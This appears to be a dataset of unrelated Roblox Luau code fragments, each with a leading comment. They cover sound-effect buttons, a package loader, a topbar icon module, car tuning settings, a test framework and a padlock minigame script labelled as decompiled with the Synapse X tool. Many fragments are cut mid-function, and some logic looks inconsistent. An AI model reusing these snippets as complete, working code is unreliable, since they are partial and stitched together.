FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true
FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true
FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true
FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown")
FX.MultiTapDelay.loop.Disabled = true
FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true
FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[=[
@private
@class LoaderUtils
]=] |
local loader = script.Parent
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils)
local GroupInfoUtils = require(script.Parent.GroupInfoUtils)
local PackageInfoUtils = require(script.Parent.PackageInfoUtils)
local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils)
local Utils = require(script.Parent.Utils)
local LoaderUtils = {}
LoaderUtils.Utils = Utils -- TODO: Remove this
LoaderUtils.ContextTypes = Utils.readonly({
CLIENT = "client";
SERVER = "server";
})
LoaderUtils.IncludeBehavior = Utils.readonly({
NO_INCLUDE = "noInclude";
INCLUDE_ONLY = "includeOnly";
INCLUDE_SHARED = "includeShared";
})
function LoaderUtils.toWallyFormat(instance, isPlugin)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(isPlugin) == "boolean", "Bad isPlugin")
local topLevelPackages = {}
LoaderUtils.discoverTopLevelPackages(topLevelPackages, instance)
LoaderUtils.injectLoader(topLevelPackages)
local packageInfoList = {}
local packageInfoMap = {}
local defaultReplicationType = isPlugin
and ScriptInfoUtils.ModuleReplicationTypes.PLUGIN
or ScriptInfoUtils.ModuleReplicationTypes.SHARED
for _, folder in pairs(topLevelPackages) do
local packageInfo = PackageInfoUtils.getOrCreatePackageInfo(folder, packageInfoMap, "", defaultReplicationType)
table.insert(packageInfoList, packageInfo)
end
PackageInfoUtils.fillDependencySet(packageInfoList)
if isPlugin then
local pluginGroup = GroupInfoUtils.groupPackageInfos(packageInfoList,
ScriptInfoUtils.ModuleReplicationTypes.PLUGIN)
local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList)
local pluginFolder = Instance.new("Folder")
pluginFolder.Name = "PluginPackages"
LoaderUtils.reifyGroupList(pluginGroup, publishSet, pluginFolder, ScriptInfoUtils.ModuleReplicationTypes.PLUGIN)
return pluginFolder
else
local clientGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
ScriptInfoUtils.ModuleReplicationTypes.CLIENT)
local serverGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
ScriptInfoUtils.ModuleReplicationTypes.SERVER)
local sharedGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
ScriptInfoUtils.ModuleReplicationTypes.SHARED)
local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList)
local clientFolder = Instance.new("Folder")
clientFolder.Name = "Packages"
local sharedFolder = Instance.new("Folder")
sharedFolder.Name = "SharedPackages"
local serverFolder = Instance.new("Folder")
serverFolder.Name = "Packages"
LoaderUtils.reifyGroupList(clientGroupList, publishSet, clientFolder, ScriptInfoUtils.ModuleReplicationTypes.CLIENT)
LoaderUtils.reifyGroupList(serverGroupList, publishSet, serverFolder, ScriptInfoUtils.ModuleReplicationTypes.SERVER)
LoaderUtils.reifyGroupList(sharedGroupList, publishSet, sharedFolder, ScriptInfoUtils.ModuleReplicationTypes.SHARED)
return clientFolder, serverFolder, sharedFolder
end
end
function LoaderUtils.isPackage(folder)
assert(typeof(folder) == "Instance", "Bad instance")
for _, item in pairs(folder:GetChildren()) do
if item:IsA("Folder") then
if item.Name == "Server"
or item.Name == "Client"
or item.Name == "Shared"
or item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
return true
end
end
end
return false
end
function LoaderUtils.injectLoader(topLevelPackages)
for _, item in pairs(topLevelPackages) do
-- If we're underneath the hierachy or if we're in the actual item...
if item == loader or loader:IsDescendantOf(item) then
return
end
end
-- We need the loader injected!
table.insert(topLevelPackages, loader)
end
function LoaderUtils.discoverTopLevelPackages(packages, instance)
assert(type(packages) == "table", "Bad packages")
assert(typeof(instance) == "Instance", "Bad instance")
if LoaderUtils.isPackage(instance) then
table.insert(packages, instance)
elseif instance:IsA("ObjectValue") then
local linkedValue = instance.Value
if linkedValue and LoaderUtils.isPackage(linkedValue) then
table.insert(packages, linkedValue)
end
else
-- Loop through all folders
for _, item in pairs(instance:GetChildren()) do
if item:IsA("Folder") then
LoaderUtils.discoverTopLevelPackages(packages, item)
elseif item:IsA("ObjectValue") then
local linkedValue = item.Value
if linkedValue and LoaderUtils.isPackage(linkedValue) then
table.insert(packages, linkedValue)
end
elseif item:IsA("ModuleScript") then
table.insert(packages, item)
end
end
end
end
function LoaderUtils.reifyGroupList(groupInfoList, publishSet, parent, replicationMode)
assert(type(groupInfoList) == "table", "Bad groupInfoList")
assert(type(publishSet) == "table", "Bad publishSet")
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(replicationMode) == "string", "Bad replicationMode")
local folder = Instance.new("Folder")
folder.Name = "_Index"
for _, groupInfo in pairs(groupInfoList) do
if LoaderUtils.needToReify(groupInfo, replicationMode) then
LoaderUtils.reifyGroup(groupInfo, folder, replicationMode)
end
end
-- Publish
for packageInfo, _ in pairs(publishSet) do
for scriptName, scriptInfo in pairs(packageInfo.scriptInfoLookup[replicationMode]) do
local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
link.Parent = parent
end
end
folder.Parent = parent
end
function LoaderUtils.getPublishPackageInfoSet(packageInfoList)
local packageInfoSet = {}
for _, packageInfo in pairs(packageInfoList) do
packageInfoSet[packageInfo] = true
-- First level declared dependencies too (assuming we're importing just one item)
for dependentPackageInfo, _ in pairs(packageInfo.explicitDependencySet) do
packageInfoSet[dependentPackageInfo] = true
end
end
return packageInfoSet
end
function LoaderUtils.needToReify(groupInfo, replicationMode)
for _, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do
if scriptInfo.replicationMode == replicationMode then
return true
end
end
return false
end
function LoaderUtils.reifyGroup(groupInfo, parent, replicationMode)
assert(type(groupInfo) == "table", "Bad groupInfo")
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(replicationMode) == "string", "Bad replicationMode")
local folder = Instance.new("Folder")
folder.Name = assert(next(groupInfo.packageSet).fullName, "Bad package fullName")
for scriptName, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do
assert(scriptInfo.name == scriptName, "Bad scriptInfo.name")
if scriptInfo.replicationMode == replicationMode then
if scriptInfo.instance == loader and loader.Parent == game:GetService("ReplicatedStorage") then
-- Hack to prevent reparenting of loader in legacy mode
local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
link.Parent = folder
else
scriptInfo.instance.Name = scriptName
scriptInfo.instance.Parent = folder
end
else
if scriptInfo.instance == loader then
local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
link.Parent = folder
else
-- Turns out creating these links are a LOT faster than cloning a module script
local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName)
link.Parent = folder
end
end
end
-- Link all of the other dependencies
for scriptName, scriptInfo in pairs(groupInfo.scriptInfoMap) do
assert(scriptInfo.name == scriptName, "Bad scriptInfo.name")
if not groupInfo.packageScriptInfoMap[scriptName] then
if scriptInfo.instance == loader then
local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
link.Parent = folder
else
-- Turns out creating these links are a LOT faster than cloning a module script
local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName)
link.Parent = folder
end
end
end
folder.Parent = parent
end
return LoaderUtils
|
-- CORE UTILITY METHODS |
function Icon:set(settingName, value, iconState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
if type(iconState) == "string" then
iconState = iconState:lower()
end
local previousValue = self:get(settingName, iconState)
if iconState == "hovering" then
-- Apply hovering state if valid
settingDetail.hoveringValue = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..iconState] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
end
self:_update(settingName)
else
-- Update the settings value
local toggleState = iconState
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
self:_update(settingName, currentToggleState, tweenInfo)
end
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, iconState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:get(settingName, iconState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local valueToReturn, additionalValueToReturn
if typeof(iconState) == "string" then
iconState = iconState:lower()
end
--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
if (iconState == "hovering") and getAdditional == nil then
valueToReturn = settingDetail.hoveringValue
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
end
local settingType = settingDetail.type
if settingType == "toggleable" then
local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
end
if valueToReturn == nil then
valueToReturn = settingDetail.values[toggleState]
end
else
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
end
if valueToReturn == nil then
valueToReturn = settingDetail.value
end
end
return valueToReturn, additionalValueToReturn
end
function Icon:getHovering(settingName)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
return settingDetail.hoveringValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:getIconState()
if self.hovering then
return "hovering"
else
return self:getToggleState()
end
end
function Icon:_update(settingName, toggleState, customTweenInfo) --*****
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if self.hovering and settingDetail.hoveringValue then
value = settingDetail.hoveringValue
end
if value == nil then return end
local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
local newValue = value
if settingDetail.useForcedGroupValue then
newValue = settingDetail.forcedGroupValue
end
if settingDetail.instanceNames then
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table"
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, newValue)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= newValue then
self.updated:Fire()
end
--
end
end
end
function Icon:_updateAll(iconState, customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, iconState, customTweenInfo)
end
end
end
function Icon:_updateHovering(customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
self:_update(settingName, nil, customTweenInfo)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "both")
end
end
for settingName, settingValue in pairs(settingsDetails.selected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "selected")
end
end
else
for settingName, settingValue in pairs(settingsDetails) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue)
end
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:getInstance(instanceName)
return self.instances[instanceName]
end
function Icon:setInstance(instanceName, instance)
local originalInstance = self.instances[instanceName]
self.instances[instanceName] = instance
if originalInstance then
originalInstance:Destroy()
end
return self
end
function Icon:getSettingDetail(targetSettingName)
for _, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
if settingName == targetSettingName then
return settingDetail
end
end
end
return false
end
function Icon:modifySetting(settingName, dictionary)
local settingDetail = self:getSettingDetail(settingName)
for key, value in pairs(dictionary) do
settingDetail[key] = value
end
return self
end
function Icon:convertLabelToNumberSpinner(numberSpinner)
-- This updates the number spinners appearance
self:set("iconLabelSize", UDim2.new(1,0,1,0))
numberSpinner.Parent = self:getInstance("iconButton")
-- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed
local textLabel = {}
setmetatable(textLabel, {__newindex = function(_, index, value)
for _, label in pairs(numberSpinner.Frame:GetDescendants()) do
if label:IsA("TextLabel") then
label[index] = value
end
end
end})
-- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel)
local iconButton = self:getInstance("iconButton")
iconButton.ZIndex = 0
self:setInstance("iconLabel", textLabel)
self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above
self:setInstance("iconLabelSpinner", numberSpinner.Frame)
local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"}
for _, settingName in pairs(settingsToConvert) do
self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}})
end
-- This applies all the values we just updated
self:_updateAll()
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:setProperty(propertyName, value)
self[propertyName] = value
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
if self.locked then return self end
self.isSelecting = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self.isSelected = true
self:_updateAll() --*****
self.isSelected = false
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
wait(1)
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
return self
end
function Icon:deselect(byIcon)
if self.locked then return self end
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self.isSelecting = false
self:_updateAll() --*****
self.isSelecting = true
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
wait(1)
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll() --*****
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
-- zipperipper's script |
Bin = script.Parent
function onButton1Down(mouse)
mt = mouse.Target
if mt.Locked == false then
mt.BrickColor = BrickColor.Random(1,268)
end
end
function onSelected(mouse)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
local Message = Instance.new("Hint")
Message.Parent = Bin.Parent.Parent
Message.Text = "Click on a brick to change it to a random color!"
end
function onDeS(mouse)
script.Parent.Parent.Parent.Message:remove()
end
script.Parent.Deselected:connect(onDeS)
Bin.Selected:connect(onSelected)
|
--[[Transmission]] |
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 5.1 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.484 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.587 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.022 ,
--[[ 3 ]] 1.384 ,
--[[ 4 ]] 1 ,
--[[ 5 ]] 0.861 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[
Represents a tree of tests that have been loaded but not necessarily
executed yet.
TestPlan objects are produced by TestPlanner.
]] |
local TestEnum = require(script.Parent.TestEnum)
local Expectation = require(script.Parent.Expectation)
local function newEnvironment(currentNode, extraEnvironment)
local env = {}
if extraEnvironment then
if type(extraEnvironment) ~= "table" then
error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format(
typeof(extraEnvironment)), 2)
end
for key, value in pairs(extraEnvironment) do
env[key] = value
end
end
local function addChild(phrase, callback, nodeType, nodeModifier)
local node = currentNode:addChild(phrase, nodeType, nodeModifier)
node.callback = callback
if nodeType == TestEnum.NodeType.Describe then
node:expand()
end
return node
end
function env.describeFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus)
end
function env.describeSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip)
end
function env.describe(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None)
end
function env.itFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus)
end
function env.itSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
end
function env.itFIXME(phrase, callback)
local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
warn("FIXME: broken test", node:getFullName())
end
function env.it(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None)
end
-- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases
local lifecyclePhaseId = 0
local lifecycleHooks = {
[TestEnum.NodeType.BeforeAll] = "beforeAll",
[TestEnum.NodeType.AfterAll] = "afterAll",
[TestEnum.NodeType.BeforeEach] = "beforeEach",
[TestEnum.NodeType.AfterEach] = "afterEach"
}
for nodeType, name in pairs(lifecycleHooks) do
env[name] = function(callback)
addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None)
lifecyclePhaseId = lifecyclePhaseId + 1
end
end
function env.FIXME(optionalMessage)
warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "")
currentNode.modifier = TestEnum.NodeModifier.Skip
end
function env.FOCUS()
currentNode.modifier = TestEnum.NodeModifier.Focus
end
function env.SKIP()
currentNode.modifier = TestEnum.NodeModifier.Skip
end
--[[
This function is deprecated. Calling it is a no-op beyond generating a
warning.
]]
function env.HACK_NO_XPCALL()
warn("HACK_NO_XPCALL is deprecated. It is now safe to yield in an " ..
"xpcall, so this is no longer necessary. It can be safely deleted.")
end
env.fit = env.itFOCUS
env.xit = env.itSKIP
env.fdescribe = env.describeFOCUS
env.xdescribe = env.describeSKIP
env.expect = Expectation.new
return env
end
local TestNode = {}
TestNode.__index = TestNode
|
--[=[
Centralized service using serviceBag. This will let other packages work with a single player datastore service.
@server
@class PlayerDataStoreService
]=] |
local require = require(script.Parent.loader).load(script)
local PlayerDataStoreManager = require("PlayerDataStoreManager")
local DataStorePromises = require("DataStorePromises")
local Promise = require("Promise")
local Maid = require("Maid")
local PlayerDataStoreService = {}
|
--[[function MouseInput.OnClientInvoke()
return game.Players.LocalPlayer:GetMouse().Hit.p
end]] | |
-----------------
--| Variables |--
----------------- |
local InsertService = Game:GetService('InsertService')
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local Tool = script.Parent
local ToolHandle = Tool.Handle
local MyPlayer = PlayersService.LocalPlayer
local SkeletonScript = WaitForChild(script, 'SkeletonScript')
local Fire = WaitForChild(script, 'Fire')
local SummonAnimation = WaitForChild(script, 'Summon')
local GongSound = WaitForChild(ToolHandle, 'Gong')
local MyModel = nil
local Skeleton = nil
local LastSummonTime = 0
local SummonTrack = nil
|
--EDIT BELOW---------------------------------------------------------------------- |
settings.PianoSoundRange = 50
settings.KeyAesthetics = true
settings.PianoSounds = {
"269058581",
"269058744",
"269058842",
"269058899",
"269058974",
"269059048"
} |
--[[
Returns the string associated with the current mode and viewing state of the MerchBooth.
This function is called as the MerchBooth view opens up, allowing the
PrimaryButton to reflect the appropriate status of ownership and equips.
See related function `getButtonModeAsync`.
]] |
local MerchBooth = script:FindFirstAncestor("MerchBooth")
local enums = require(MerchBooth.enums)
local separateThousands = require(script.Parent.separateThousands)
local function getTextFromMode(mode, price: number?): string
if mode == enums.PrimaryButtonModes.Loading then
return ""
elseif mode == enums.PrimaryButtonModes.Purchase and price then
if price == 0 then
return "FREE"
elseif price < 0 then
return "NOT FOR SALE"
else
return separateThousands(price)
end
elseif mode == enums.PrimaryButtonModes.Owned then
return "Owned"
elseif mode == enums.PrimaryButtonModes.CanEquip then
return "Equip Item"
elseif mode == enums.PrimaryButtonModes.Equipped then
return "Item Equipped"
end
return ""
end
return getTextFromMode
|
--[[
for _,i in pairs(light) do
i.BrickColor = offcolor
i.Material = Enum.Material.material
end
--]] |
InputService.InputBegan:connect(DealWithInput)
InputService.InputChanged:connect(DealWithInput)
InputService.InputEnded:connect(DealWithInput)
function findbricks(search,query,tab)
for _,i in pairs(search:GetChildren()) do
if i.Name == query then table.insert(tab,i) end findbricks(i,query,tab)
end
end
findbricks(seat.Parent,"Li",fli)
findbricks(seat.Parent,"Ri",fri)
findbricks(seat.Parent,"RLi",rli)
findbricks(seat.Parent,"RRi",rri)
findbricks(seat.Parent.Parent,"HLL",hll)
findbricks(seat.Parent.Parent,"HLH",hlh)
findbricks(seat.Parent,"BL",bl)
findbricks(seat.Parent,"RRL",rrl)
findbricks(seat.Parent,"RevL",rl)
for _,i in pairs(fli) do
i.BrickColor = indicatorOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(fri) do
i.BrickColor = indicatorOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rli) do
i.BrickColor = indicatorOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rri) do
i.BrickColor = indicatorOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(hll) do
i.BrickColor = headlightOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(hlh) do
i.BrickColor = headlightOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rrl) do
i.BrickColor = rearrunOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(bl) do
i.BrickColor = brakelightOff
i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rl) do
i.BrickColor = reverseOff
i.Material = Enum.Material.SmoothPlastic
end
for _,a in pairs(sl) do
for _,i in pairs(a) do
i.Enabled = false
end
end
script.Parent.Parent.StockUI.Right.TurnSignals.Left.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.TurnSignals.Right.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.WarningLights.LoBeam.ImageTransparency = 0.7
script.Parent.Parent.StockUI.Right.WarningLights.HiBeam.ImageTransparency = 0.7
|
--[[Weight and CG]] |
Tune.Weight = 3500 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 10 ,
--[[Height]] 5.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = 1 -- Front Wheel Density
Tune.RWheelDensity = 1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- The timespan that the anticheat will account for. Lower values
-- means potential cheats will be stopped sooner, but also means
-- lower tolerance for network jitter. |
config.TimeSpan = 1
return config
|
-- Decompiled with the Synapse X Luau decompiler. |
return function(p1)
print("starting");
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v3 = game["Run Service"];
local l__UserInputService__4 = game:GetService("UserInputService");
local l__TweenService__5 = game:GetService("TweenService");
local l__mouse__6 = l__LocalPlayer__1:GetMouse();
local l__MinigameBackout__7 = script:FindFirstAncestor("MainUI").MinigameBackout;
p1.stopcam = true;
p1.freemouse = true;
p1.hideplayers = 2;
local v8 = CFrame.new(0, 0, 0);
local v9 = tick() + 1;
local v10 = tick() + 1;
local l__Padlock__11 = workspace:FindFirstChild("Padlock", true);
local l__Selector__12 = l__Padlock__11:FindFirstChild("Selector", true);
l__Padlock__11.ConfirmUI.Enabled = l__UserInputService__4.GamepadEnabled;
l__Selector__12.Visible = l__UserInputService__4.GamepadEnabled;
local l__WorldCFrame__13 = workspace:FindFirstChild("CamAttachPadlock", true).WorldCFrame;
p1.camShaker:ShakeOnce(2, 0.5, 0.5, 8);
local l__CFrame__1 = p1.cam.CFrame;
local l__FieldOfView__2 = p1.cam.FieldOfView;
local u3 = false;
task.spawn(function()
for v14 = 1, 100000 do
task.wait();
local v15 = l__TweenService__5:GetValue((1 - math.abs(tick() - v9)) / 1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v9) then
break;
end;
